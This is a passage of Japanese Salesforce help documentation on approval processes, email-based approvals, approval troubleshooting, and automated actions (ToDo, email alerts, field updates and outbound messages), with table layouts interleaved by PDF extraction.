ピリオドおよび感嘆符は、各単語の終わりに使用できます。

却下の単語承認の単語

却下承認

却下済み承認済み

いいえはい

2. 必要に応じて、返信の 2 行目にコメントを追加します。
3. メールを送信します。

関連トピック:

承認ユーザ設定
ユーザの承認申請

承認申請へのメール対応のトラブルシューティング

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メールでの返答が正常に機能しない場合、次の一般的な問題を確認します。
承認申請のメール通知を受信できない。

考えられる原因は次のとおりです。
• 承認設定で承認申請メールを受信しないようにしている。
• メールサーバにより承認申請メールがスパムとみなされている。すべて

の受信メールのログを確認できるメール管理者に問い合わせて、メール
が配信されているか、受信拒否されていないか、またはスパムのフラグ
が付いていないかを確認します。

• メール管理者が承認申請の送信元の Salesforce メールアドレスをホワイト
リストに入れる必要がある。

• メールの配信時間が ISP または接続によって異なる。
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返答が配信されなかった。
• メール承認申請は、一度しか処理されません。自分が返答する前に他のユーザが承認申請に返答する

と、エラーになります。
• 承認申請にメールで返答するには「API の有効化」ユーザ権限が必要です。

「The word used to approve or reject the item was not understood.」という内容のメールを受
信した。

Salesforce はエラーメールへの返信を処理しません。元のメール通知に再度返信します。ただし、今回はサ
ポートされている返答の単語 (ページ 5944)のいずれかを使用します。

「You are not authorized to update the referenced object.」という内容のメールを受信した。
承認申請メールはメールアドレスに関連付けられています。申請を他のメールアドレスに転送するか、メー
ルクライアントで複数のメールアドレスに返答できるようになっていると、このエラーを受信します。元
のメール通知に再度返信します。ただし今回はメール承認申請を受信したメールアドレスから返信します。

関連トピック:

この承認エラーはどういう意味でしょうか?

メール通知への返信による承認申請の返答
ユーザの承認申請

この承認エラーはどういう意味でしょうか?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードの承認を申請するとき、または承認申請に返答するときに、次のよう
なエラーが発生することがあります。
マネージャが定義されていない
この承認申請には、次の承認者を項目名項目で決定する必要があります。この
値は空です。

Salesforceが、[マネージャ]などの階層項目に基づいて承認申請を転送しよう
としました。しかし、この項目に値がないか、無効なユーザが指定されてい
ます。このエラーは、ユーザがレコードの承認を申請するとき、または承認
者が承認申請に返答するときに発生します。

必須項目が入力されていない: [FieldName]

承認プロセスに、特定された項目の標準入力規則に違反した項目自動更新が
設定されています。このエラーは、項目がページレイアウトに表示されていない場合でも発生することが
あります。

メモ: Salesforce では、項目自動更新が項目のカスタム入力規則に適合しているかどうかを確認しませ
ん。

関連トピック:

承認申請へのメール対応のトラブルシューティング
ユーザの承認申請
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承認履歴の状況

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードが承認プロセスのどこにあるかを追跡するには、[承認履歴] 関連リスト
を参照します。

定義状況

承認申請されました。申請済み

承認申請後、まだ承認 / 却下されていません。未承認

承認されました。承認済み

却下されました。却下済み

承認申請後、別の承認者に再割り当てされました。再割り当て済み

レコードは承認申請されましたが、承認プロセスが取り消
されました。

取り消し済み

関連トピック:

承認
承認を受けるレコードを送信する
承認申請への返答
ユーザの承認申請

承認ユーザ設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

代理承認者を識別し、承認申請メールを受信するかどうかを制御します。
[個人設定] から、[クイック検索]ボックスに「承認者の設定」と入力し、[承認者
の設定]を選択します。結果がない場合は、[クイック検索]ボックスに「個人情
報」と入力し、[個人情報] を選択します。

説明項目

代替の承認者。入力すると、このユーザは設定者と同じ承認申
請を受信します。代理承認者は承認申請を再割り当てすること
はできません。行える操作は承認申請の承認または却下のみで
す。

代理承認者

システム管理者の承認プロセス設定によっては、承認申請を自
動的にマネージャへ転送できます。

マネージャ
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説明項目

Salesforce1または Lightning Experienceで承認申請のメール通知を受信するかどうかを制御
します。
[受信しない] を選択すると、承認申請通知を受信しません。ただし、システム管理者
のキューメール設定によっては、引き続きキューから承認申請メールを受信します。

承認申請メールを受
信

Chatter での承認申請投稿の除外
デフォルトでは、組織の [Chatter での承認] が有効になっている場合、メールと Chatter 投稿の両方で承認申
請に関する通知を受け取ります。Chatter での投稿の受信を停止するには、除外します。除外すると、投稿
はフィードに表示されませんが、関連付けられたレコードのフィードには表示されます。
Chatter 承認申請を除外した場合の動作
デフォルトでは、組織の [Chatter での承認] が有効になっている場合、メールと Chatter で承認申請の通知を
受け取ります。Chatter 投稿を除外した場合の動作は、次のとおりです。

関連トピック:

ユーザの承認申請

Chatter での承認申請投稿の除外

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードの承認申請投稿
を参照する
• レコードに対する「参

照」

デフォルトでは、組織の [Chatter での承認] が有効になっている場合、メールと
Chatter投稿の両方で承認申請に関する通知を受け取ります。Chatterでの投稿の受
信を停止するには、除外します。除外すると、投稿はフィードに表示されませ
んが、関連付けられたレコードのフィードには表示されます。
1. 個人設定から、[クイック検索]ボックスに「私のフィード」と入力し、[私の

フィード] を選択します。
2. 承認申請を投稿として受け取るオプションを選択解除します。
3. 変更内容を保存します。

関連トピック:

承認ユーザ設定
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Chatter 承認申請を除外した場合の動作

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

デフォルトでは、組織の [Chatter での承認] が有効になっている場合、メールと
Chatterで承認申請の通知を受け取ります。Chatter投稿を除外した場合の動作は、
次のとおりです。
• 割り当てられた承認の進行中に除外すると、承認レコードをフォローしてい

る場合に限って、新しい通知投稿が表示されます。
• 承認レコードをフォローしている場合は、承認者以外のコンテンツを含むレ

コードから承認投稿を参照します。
• すでに受信した承認通知投稿には、承認者以外のコンテンツが表示されま

す。
• [承認] ボタンと [却下] ボタンは、フィードの既存の投稿に表示されなくなり

ます。

関連トピック:

承認ユーザ設定
Chatter での承認申請投稿の除外

承認プロセスの用語

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce の承認プロセスでは、次の用語が使用されます。
承認時のアクション

必要なすべての承認者がステップを承認したときに承認時のアクションが実
行されます。

承認プロセス
承認プロセスでは、Salesforce でレコードを承認する方法を自動化します。承
認プロセスでは、承認申請者やプロセスの各ポイントでの実行内容など、承
認の各ステップについて指定します。

承認申請
承認申請は、レコードの承認が申請され、承認が要求されたことを受信者に
通知する、メール、Salesforce1通知、Lightning Experience通知、または Chatter 投
稿です。

承認ステップ
承認ステップで、特定の承認プロセスに一連の承認を定義します。各ステップで、そのステップの条件を
満たすレコード、承認申請を割り当てるユーザ、各代理承認者による申請への返答を許可するかどうかを
決定します。最初のステップでは、レコードがそのステップの条件を満たさない場合の動作を指定します。
その後のステップでは、承認者が申請を却下した場合の動作を指定します。

承認者
承認者は、承認申請への返答を担当するユーザです。

代理承認者
代理承認者は、割り当てられた承認者により承認申請の承認代理として任命されたユーザです。
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メール承認
メール承認により、ユーザはメール通知に返信して承認申請に返答できます。

申請時のアクション
申請時のアクションは、ユーザがレコードの承認を初めて申請したときに実行されます。デフォルトでは、
レコードはロックされます。

最終承認時のアクション
最終承認時のアクションは、レコードに必要なすべての承認が終了したときに実行されます。

最終却下時のアクション
最終却下時のアクションは、承認者が要求を却下し、最終却下状態に移行したときに実行されます。

アウトバウンドメッセージ
アウトバウンドメッセージでは、外部サービスなどの指定エンドポイントに情報を送信します。アウトバ
ウンドメッセージは [設定] から設定します。SOAP APIを使用して外部エンドポイントを設定し、メッセージ
のリスナーを作成する必要があります。

プロセスインスタンス
プロセスインスタンスとは、承認プロセスの 1 つのインスタンスを表します。レコードが承認申請される
たびに、新しいプロセスインスタンスが作成されます。

プロセスインスタンスノード
プロセスインスタンスノードとは、承認ステップのインスタンスを表します。レコードが承認プロセスの
特定のステップに進むたびに、新しいプロセスインスタンスノードが作成されます。レコードがステップ
の条件を満たしていない場合、または承認プロセスがそのステップに進まずに完了した場合、プロセスイ
ンスタンスノードは作成されません。

取り消し時のアクション
取り消し時のアクションは、承認申請が取り消されたときに実行されます。デフォルトでは、レコードは
ロック解除されます。

レコードのロック
レコードのロックでは、項目レベルのセキュリティや共有設定に関係なく、ユーザがレコードを編集でき
ないようにします。デフォルトでは、未承認のレコードは、Salesforce によってロックされます。システム
管理者のみが、ロックされたレコードを編集できます。

関連トピック:

承認
自動アクションの実行
承認プロセスの設定
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自動アクションの実行
エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

自動アクションは、項目の更新やメールの送信などのアクションをバックグラ
ウンドで実行する再利用可能なコンポートです。自動アクションを作成したら、
プロセス、マイルストン、その他の自動プロセスに追加します。

サポートされているプロセス...アクション
の種類

エンタイト
ルメントプ

ロセス

承認プロセ
ス

フロープロセスビ
ルダー

ワークフ
ロールール

メールア
ラート

項目自動更
新

(ルール適用
時のみ)

フロートリ
ガ (パイ
ロット)

アウトバウ
ンドメッ
セージ
ToDo

自動アクションに関する考慮事項
自動アクションの使用を開始する前に、関連する制限事項や特殊な動作について把握しておきます。

ToDo アクション

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ToDo アクションは、自動化プロセスによって指定されたユーザに与えられる割
り当ての詳細を決定します。ToDo アクションは、ワークフロールール、承認プ
ロセス、エンタイトルメントプロセスに関連付けることができます。
[設定] から、[クイック検索] ボックスに「ToDo」と入力し、[ToDo] を選択しま
す。次の設定を使用して ToDo を設定します。

説明項目

ToDo のオブジェクトを選択します。ToDo は、オブジェクト種別が同
じワークフロールールまたは承認プロセスにのみ関連付けられるこ
とに注意してください。活動を追跡するオブジェクトを選択しま
す。

オブジェ
クト

メモ: 記事タイプでは ToDo を使用できません。
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説明項目

ToDo の任命先を選択します。任命先は、選択したレコードタイプに応じて、ユーザ、ロール、
レコードの所有者、レコードの作成者、商談チーム内の役割、または取引先チーム内の役割か
ら選択します。

任命先

メモ:

• ToDo の任命先がレコードの所有者に設定され、リードまたはケースの所有者がキュー
である場合、ルールを起動したユーザにその ToDo が割り当てられます。

• 件名が翻訳されている場合、Salesforceは割り当て先の言語で ToDo を作成します。ToDo

の [任命先へ通知] がオンの場合は、Salesforceは割り当て先の言語でメールを送信しま
す。ただし、コメント項目のみが翻訳されている場合は、ToDo を起動するユーザの
言語で ToDo を作成し、メールを送信します。

• カスタムオブジェクトに標準オブジェクトとの主従関係がある場合、カスタムオブ
ジェクトレコードの所有者は、主となる標準オブジェクトレコードの所有者に自動的
に設定されます。たとえば、「支出」というカスタムオブジェクトが「取引先」と主
従関係にある場合、各支出レコードの所有者は、その支出に対応する取引先の所有者
になります。

• ワークフロー ToDo の任命先がロールであり、1 人または複数のユーザがそのロールに
属している場合、レコード所有者が、当人のロールに関係なく ToDo の任命先になり
ます。複数のユーザが属するロールに ToDo を割り当てないことをお勧めします。ToDo

を 1 人のユーザのロールに割り当てると、ワークフロールールを変更せずに、その
ロールのユーザを簡単に変更できます。ワークフロー ToDo の任命先がロールであり、
そのロールが空である場合、レコード所有者が、当人のロールに関係なく ToDo の任
命先になります。

• リード所有者以外のユーザがリードの所有者を変更した場合、元の所有者に割り当て
られていたそのリードに関連するすべてのワークフロー ToDo (メールアラートを除く)

は新しいリード所有者に割り当てられます。リード所有者およびリード変更者以外の
ユーザに割り当てられていたワークフロー ToDo は変更されません。

ToDo の件名を入力します。末尾に (Automated) を追加するというように、特定の表記で件
名を始めて、自動 ToDo をユーザ作成の ToDo と区別してください。

件名

API でこのコンポーネントを参照する一意の名前を入力します。一意性は、選択したオブジェ
クト種別内でのみ必要です。異なるオブジェクトに定義する場合は、同じタイプのアクション
に同じ一意の名前を設定できます。

一意の名前

[一意の名前]項目には、アンダースコアと英数字のみを使用できます。選択したオブジェクト
種別内で一意であること、最初は文字であること、スペースは使用しない、最後にアンダース
コアを使用しない、2 つ続けてアンダースコアを使用しないという制約があります。

ToDo の期日を選択します。期日は、任命先のユーザのタイムゾーンで表示されます。期日

ToDo の [期日] を「ルール適用日」に設定すると、タイムトリガおよびワークフロー ToDo 期日
が、ワークフロータイムトリガのアクションが実行された日付に基づいて設定されます。たと

5951

自動アクションの実行コードではなくてクリックによる Salesforce の拡張



説明項目

えば、ToDo 期日が「ルール適用日から 10 日後」で、1 月 1 日にタイムトリガが実行される場
合、Salesforce は ToDo 期日を 1 月 11 日に設定します。

ToDo の状況を選択します。状況

ToDo の優先度を選択します。優先度

ToDo のコメントを入力します。コメント

自分の ToDo すべてに [作成者] 項目が含まれます。ToDo の場合、この項目には、ToDo を割り当てるルールを起
動したレコードを保存したユーザの名前が含まれます。
[メールを送信] ボタンをクリックしたり、[メール to Salesforce] を [BCC] アドレス項目へ使用したりして自動的に
作成された ToDo では、ToDo ベースのワークフロールールはトリガされません。

関連トピック:

アクションとワークフロールールまたは承認プロセスとの関連付け

メールアラートアクション

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メールアラートは、自動化プロセスによって生成され、指定された受信者に送
信されるメールです。これらのアクションは、メールの標準テキストと受信者
リストで構成されます。メールアラートは、プロセス、フロー、ワークフロー
ルール、承認プロセス、エンタイトルメントプロセスに関連付けることができ
ます。呼び出し可能なアクションの REST API エンドポイントでも使用できます。
[設定] から、[クイック検索]ボックスに「メールアラート」と入力し、[メールア
ラート] を選択します。次の設定を使用してメールアラートを設定します。

ヒント: 標準的なレターヘッドを作成して、ワークフローアラートに使用
するすべてのメールテンプレートに使用します。

説明項目

説明を入力します。説明

API でこのコンポーネントを参照する一意の名前を入力します。一
意性は、選択したオブジェクト種別内でのみ必要です。異なるオブ

一意の名
前

ジェクトに定義する場合は、同じタイプのアクションに同じ一意の
名前を設定できます。[一意の名前]項目には、アンダースコアと英
数字のみを使用できます。選択したオブジェクト種別内で一意であ
ること、最初は文字であること、スペースは使用しない、最後にア
ンダースコアを使用しない、2 つ続けてアンダースコアを使用しな
いという制約があります。
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説明項目

選択できる場合は、このメールアラートのオブジェクトを選択します。
Salesforce は、ワークフロールールと承認プロセスを使ってメールテンプレートに対して差し
込み項目値を生成するときに、このオブジェクトを使用します。また、オブジェクトに関連

オブジェクト

する取引先責任者とユーザ参照項目を使用して、このメールアラートの受信者を定義できま
す。たとえば、[契約] を選択すると、契約調印者を受信者として定義することができます。
新しいメールアラートが特定のオブジェクトの承認プロセスまたはワークフロールールに関
連付けられている場合、オブジェクトは参照のみとなります。

メールテンプレートを選択します。差し込み項目を挿入し、メールアラートをトリガするレ
コードに基づいて、特定の情報を参照します。たとえば、商談へのリンクを挿入します。
{!ApprovalRequest.Comments} を除き、メールテンプレートにある
{!ApprovalRequest.field_name} という名前の承認差し込み項目では、承認プロセスの

メールテンプ
レート

承認割り当てメールおよびメールアラートでのみ値が返されます。ワークフロールールのメー
ルアラートなど、他のメールで承認差し込み項目を使用すると、null が返されます。
{!ApprovalRequest.Comments} 差し込み項目は、複数の承認者全員からの承認が必要な
承認ステップのメールでは、最後に入力されたコメントのみを返します。
アラートが [管理-リリース済み] パッケージの一部になっている場合、使用できるときには[保
護コンポーネント] を選択してアラートに保護のマークを付けます。

このメールアラートの受信者を選択します。受信者種別

[選択可能なメール受信者]リストでこのメールアラートの受信者を選択し、[追加]をクリック
します。
受信者を選択した後でオブジェクトを変更すると、Salesforce は [選択済みメール受信者] リス
トを消去します。

メール受信者

メール受信者がロールであり、そのロールに複数の人が含まれる場合、Salesforce により、そ
のロールのすべての人にメールが送信されます。
メールの受信者がレコードの所有者であり、その所有者がキューである場合は、キューのメー
ルアドレスにアラートが送信されます。メールをメンバー全員に送信するようキューが設定
されている場合は、キューのメンバーにもアラートが通信されます。メールが指定されてい
ない場合は、キューのメンバーだけにアラートが送信されます。

Salesforce ユーザ、リード、取引先責任者ではない受信者のメールアドレスを 5 件まで追加で
きます。

追加のメール

デフォルトのワークフローユーザ、または以前設定され、検証された組織の共有アドレス。
この項目では、デフォルトの [送信者] 項目 (レコードを更新したユーザのメールアドレス) の
代わりに、組織の標準のメールアドレス (support@company.com など) を使用できます。
[これを、このオブジェクトのメールアラートに対するデフォルトの差出人メールアドレスに
する] を選択すると、そのオブジェクトに関連付けられたすべてのメールアラートの [差出人

差出人メール
アドレス

メールアドレス]がこのメールアドレスで上書きされます。異なる[差出人メールアドレス]を
使用する個々のメールアラートは、引き続きカスタマイズできます。ワークフローメールア

5953

自動アクションの実行コードではなくてクリックによる Salesforce の拡張



説明項目

ラートの[差出人メールアドレス]は、管理パッケージまたは未管理パッケージを使用してメー
ルアラートがインストールされたときに現在のユーザに変更されます。メタデータ API また
は変更セットなど、他のタイプのリリースを使用する場合、[差出人メールアドレス] は変更
されません。

メモ: メールアラートから送信されるメールの 1 日の制限は、1 組織につき標準 Salesforce ライセンスあた
り 1,000 件です。ただし無料の Developer Edition およびトライアル組織は例外で、1 日のワークフローメール
の制限は 15 件になります。組織全体での制限は 2,000,000 件です。この制限は、ワークフロールール、承
認プロセス、フローまたは REST API でメールアラートから送信されるメールに適用されます。

関連トピック:

メールアラートで使用可能な受信者種別
メールアラートの日次制限

メールアラートで使用可能な受信者種別

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メールアラートを設定する場合、メールの受信者を特定します。使用可能なオ
プションは、組織の設定および選択したオブジェクトによって異なります。

説明受信者種別

取引先自体またはレコードに関連付けられた取引先の所有者と
して示されたユーザ。
このオプションは、取引先、商談、ケース、取引先責任者、契
約に関するメールアラート、および取引先オブジェクトの子で
あるカスタムオブジェクトに関するメールアラートでのみ機能
します。関連付けられた取引先にも取引先所有者を指定する必
要があります。別のオブジェクト種別を選択した場合、または
関連付けられた取引先に取引先所有者がない場合、Salesforce は
代わりにレコード所有者にメールアラートを送信します。

取引先所有
者

取引先チーム内の特定の役割に割り当てられたすべてのユーザ。
[取引先チーム] オプションは常に選択可能です。ただし、メー
ルは、ルールが取引先オブジェクトまたは直下の子オブジェク
トに関連付けられている場合にのみ送信されます。

取引先チー
ム

ケースチーム内の特定の役割に割り当てられたすべてのユーザ。ケースチー
ム

レコードを作成したユーザ。作成者
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説明受信者種別

カスタマーポータルに関連付けられたすべてのユーザ。カスタマーポータ
ルユーザ

選択したオブジェクトのメールアドレス項目 (リードレコードの [メール] 項目や、カスタ
ムメール項目など)。

メール項目

メモ: キャンペーンメンバー向けのメールアラートを作成する場合、この [メール
項目] は、キャンペーンメンバーの基盤となっているリードまたは取引先責任者の
メール項目を参照します。

商談チーム内の特定の役割に割り当てられたすべてのユーザ。このオプションは、チー
ムセリングが有効な場合にのみ表示されます。
[商談チーム] オプションは、商談に対して設定されたメールアラートでのみ機能します。
商談の子オブジェクトに対して設定されたメールアラートでは機能しません。

商談チーム

レコードの所有者。所有者

パートナーポータルに関連付けられたすべてのユーザ。パートナーユーザ

特定のポータルロールに割り当てられたすべてのユーザ。ポータルロール

特定のポータルロールに割り当てられたすべてのユーザと、そのロールの下位ロールの
すべてのユーザ。

ポータルロール &

下位ロール

特定の公開グループのユーザ。公開グループ

レコード上で関連付けられた取引先責任者。
たとえば、契約調印者の名前が含まれる契約の [顧客調印者] 項目を選択できます。

関連する取引先責
任者

キャンペーンメンバーのリードまたは取引先責任者所有者。関連リードまたは
取引先責任者所有
者

レコード上で関連付けられたユーザ。
たとえば、契約レコードには、契約を有効化したユーザの名前が含まれる [有効化設定者]

項目があります。

関連ユーザ

特定のロールに割り当てられたすべてのユーザ。ロール

特定のロールに割り当てられたすべてのユーザと、そのロールの下位ロールのすべての
ユーザ。ただし、パートナーポータルおよびカスタマーポータルのユーザを除きます。

ロール & 内部下位
ロール

特定のロールを割り当てられたすべてのユーザと、そのロールの下位ロールのすべての
ユーザ。

ロール & 下位ロー
ル

特定のユーザ。ユーザ
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項目自動更新アクション

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

項目自動更新アクションにより、項目の値を自動的に更新できます。項目自動
更新は、ワークフロールール、承認プロセス、エンタイトルメントプロセスに
関連付けることができます。
[設定] から、[クイック検索]ボックスに「項目自動更新」と入力し、[項目自動更
新] を選択します。次の設定を使用して項目自動更新を設定します。
更新を開始する前に、更新する項目のデータ型を確認します。数式項目や自動
採番項目など、参照のみの項目は項目自動更新を使用できません。

説明項目

この項目自動更新の名前を入力します。名前

API でこのコンポーネントを参照する一意の名前を入力します。
一意性は、選択したオブジェクト種別内でのみ必要です。異な

一意の名前

るオブジェクトで定義されている場合は、同じ種別の項目自動
更新に同じ一意の名前を設定できます。[一意の名前]項目には、
アンダースコアと英数字のみを使用できます。選択したオブジェ
クト内で一意であること、最初は文字であること、スペースは
使用しない、最後にアンダースコアを使用しない、2 つ続けてア
ンダースコアを使用しないという制約があります。

項目自動更新の説明を入力します。説明

項目を更新するオブジェクトを選択します。オブジェク
ト

更新する項目を選択します。選択したオブジェクトの項目のみ
が表示されます。主従関係にある関連オブジェクトの項目を選
択できます。
暗号化カスタム項目の項目自動更新を使用できますが、暗号化
項目は数式エディタでは使用できません。

更新する項
目

ヒント: 同じ項目に異なる値を適用するルールまたは承認
プロセスに、項目自動更新を 2 つ以上関連付けないように
します。

項目の値の更新後、このオブジェクトのワークフロールールを
再評価する場合に選択します。このオプションを選択すると、

項目変更後
にワークフ

項目自動更新により項目の値が変更される場合、オブジェクトロールール
のすべてのワークフロールールがSalesforceによって再評価され、を再評価す

る 条件が一致するワークフロールールがトリガされます。詳細は、
「ワークフロールールを再評価する項目自動更新」 (ページ5969)

を参照してください。
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説明項目

項目の更新後の値。設定できるオプションは、更新する項目のデータ型によって異なり
ます。詳細は、「項目自動更新アクションの値のオプション」 (ページ5957)を参照してく
ださい。

新規項目値の指定

関連トピック:

アクションとワークフロールールまたは承認プロセスとの関連付け
クロスオブジェクトの項目更新
項目自動更新アクションの考慮事項

項目自動更新アクションの値のオプション

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

項目自動更新アクションを作成するときに、項目の新しい値を指定します。
設定できる項目自動更新オプションは、更新する項目のデータ型によって異な
ります。
• [特定値] を選択し、表示されたスペースに値を入力します。
• Salesforce により自動的に既存の値を削除し、項目を空白のままにする場合

は、[空白値 (Null)] を選択します。このオプションは、必須項目、チェック
ボックス、および他の一部の項目の種別では使用できません。

• レコードの所有者項目に割り当て先となるユーザを選択します。ケース、
リード、カスタムオブジェクトレコードの場合には、この項目にキューを選
択することもできます。新しいレコード所有者にメールを送信する場合は、
[任命先へ通知] を選択します (ToDo 割り当て通知に関するユーザ制御が有効
になっている場合はオプションを使用できません)。

• チェックボックスの場合、チェックボックスをオンにする場合は True、オフにする場合は False を選択
します。

• 選択リストの場合、ドロップダウンリストから値を選択するか、選択リスト定義で設定されている並び替
え順に基づいて、現在の値の上または下の値を選択します。アルファベット順にしている場合は、ユーザ
の言語が異なると、上または下の値が異なる場合があります。

• 式や差し込み項目などの値に基づいて値を計算するには、[数式を使用して新しい値を設定する] を選択し
ます。Salesforceでの数式の使用についての詳細は、「数式を使用した項目値の計算」 (ページ5497)を参照し
てください。
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アウトバウンドメッセージアクション

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アウトバウンドメッセージでは、外部サービスなどの指定エンドポイントに情
報を送信します。アウトバウンドメッセージは [設定] から設定します。SOAP API

を使用して外部エンドポイントを設定し、メッセージのリスナーを作成する必
要があります。アウトバウンドメッセージは、ワークフロールール、承認プロ
セス、エンタイトルメントプロセスに関連付けることができます。
たとえば、外部 HR システムにアウトバウンド API メッセージをトリガする方法
で、承認済み経費レポートに対する払い戻し処理を自動的に開始します。
[設定] から、[クイック検索]ボックスに「アウトバウンドメッセージ」と入力し、
[アウトバウンドメッセージ]を選択します。次の設定を使用してアウトバウンド
メッセージを設定します。

説明項目

アウトバウンドメッセージに含める情報を持つオブジェクトを
選択します。

オブジェク
ト

このアウトバウンドメッセージの名前を入力します。名前

APIでこのコンポーネントを参照する一意の名前を入力します。
一意性は、選択したオブジェクト種別内でのみ必要です。異な

一意の名前

るオブジェクトで定義されている場合は、アウトバウンドメッ
セージに同じ一意の名前を設定できます。
[一意の名前]項目には、アンダースコアと英数字のみを使用でき
ます。選択したオブジェクト種別内で一意であること、最初は
文字であること、スペースは使用しない、最後にアンダースコ
アを使用しない、2 つ続けてアンダースコアを使用しないという
制約があります。

アウトバウンドメッセージの機能について他のユーザが簡単に
理解できる説明を入力します。

説明

メッセージを受信するエンドポイント URL を入力します。Salesforce

は、このエンドポイントに SOAP メッセージを送信します。
エンドポイ
ント URL

メッセージを送信するときに使用する Salesforce ユーザを選択し
ます。選択したユーザにより、エンドポイントに送信されるメッ
セージのデータ表示が制御されます。

送信ユーザ

アウトバウンドメッセージに Salesforce セッション ID を含める場
合は、[送信セッション ID] を選択します。API コールの予定が

送信セッ
ション ID

あり、かつユーザ名とパスワードを含めたくない場合には、メッ
セージにセッション ID を含めます。特に本番環境では、暗号化
されていないメッセージでユーザ名およびパスワードを送信し
ないでください。安全ではありません。
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説明項目

アウトバウンドメッセージの優先度を選択します。優先度

アウトバウンドメッセージに含める項目を選択し、[追加] をクリックします。送信する取引先項
目

エンドポイント URL でクライアント証明書を使用する場合は、「ワークフロールールを再評価する項目自動更
新」 (ページ 5969)を参照してください。

関連トピック:

アウトバウンドメッセージの配信状況の追跡
アウトバウンドメッセージの考慮事項
SOAP API 開発者ガイド
アクションとワークフロールールまたは承認プロセスとの関連付け
アウトバウンドメッセージの考慮事項

アウトバウンドメッセージ通知

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

24 時間以上失敗し続けているアウトバウンドメッセージがすべて一覧表示され
ている通知を最大 5 人のユーザが受け取るように要求できます。この要求をキャ
ンセルするまで、新しい通知は 24 時間ごとに送信されます。エラーになった
メッセージは、7 日後に [失敗したアウトバウンドメッセージ] 関連リストから削
除されます。削除される前に、自分自身で削除することも、改めて再試行する
ように要求することもできます。

メモ: このオプションが表示されない場合は、組織がアウトバウンドメッ
セージを有効にしていません。アウトバウンドメッセージを有効にするに
は、Salesforce にお問い合わせください。

アウトバウンドメッセージ通知の作成
24 時間以上失敗し続けているアウトバウンドメッセージがすべて一覧表示さ
れている通知を最大 5 人のユーザが受け取るように要求します。この要求をキャンセルするまで、新しい
通知は 24 時間ごとに送信されます。
アウトバウンドメッセージ通知要求の表示
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アウトバウンドメッセージ通知の作成

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アウトバウンドメッセー
ジ通知を作成する
• 「すべてのデータの編

集」

24 時間以上失敗し続けているアウトバウンドメッセージがすべて一覧表示され
ている通知を最大 5 人のユーザが受け取るように要求します。この要求をキャ
ンセルするまで、新しい通知は 24 時間ごとに送信されます。
1. [設定] から、[クイック検索]ボックスに「アウトバウンドメッセージ通知」と

入力し、[アウトバウンドメッセージ通知] を選択します。
2. [新規] をクリックします。
3. ユーザの氏名を入力するか、アイコンをクリックしてユーザ名のリストから

選択します。
4. 要求を保存します。

メモ: このオプションが表示されない場合は、組織がアウトバウンドメッ
セージを有効にしていません。アウトバウンドメッセージを有効にするに
は、Salesforce にお問い合わせください。

アウトバウンドメッセージ通知要求の表示

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アウトバウンドメッセー
ジ通知要求を表示または
編集する
• 「すべてのデータの編

集」

アウトバウンドメッセージ通知要求の詳細ページから、次の操作が可能です。
• [編集] をクリックして、通知要求のユーザ名を変更する。この方法の方が要

求を削除して、新しい要求を作成するより簡単です。
• [削除] をクリックして、通知要求を削除する。
• [コピー]をクリックして、同じユーザ名が入った新しい通知要求を作成する。
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アウトバウンドメッセージの配信状況の追跡

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

承認およびマイルストン
アクションは
Database.com Edition では
使用できません。

ユーザ権限

アウトバウンドメッセー
ジを追跡する
• 「すべてのデータの編

集」

アウトバウンドメッセージの状況を追跡するには、[設定] から、[クイック検索]

ボックスに「アウトバウンドメッセージ」と入力して、[アウトバウンドメッセー
ジ] を選択します。
• [次の配信項目] は、配信待機中です。
• [最も古いエラー] は、配信されていませんが、24 時間経過していないため、

まだ削除されていません。
• [エラーになったアウトバウンドメッセージ] は、配信に失敗し、もう再試行

されません。作成時に [エラーアウトバウンドメッセージ関連リストにエラー
を追加] を選択してメッセージを設定した場合に限り、メッセージがここに
表示されます。この関連リストが表示されない場合は、機能が組織で有効に
なっていません。

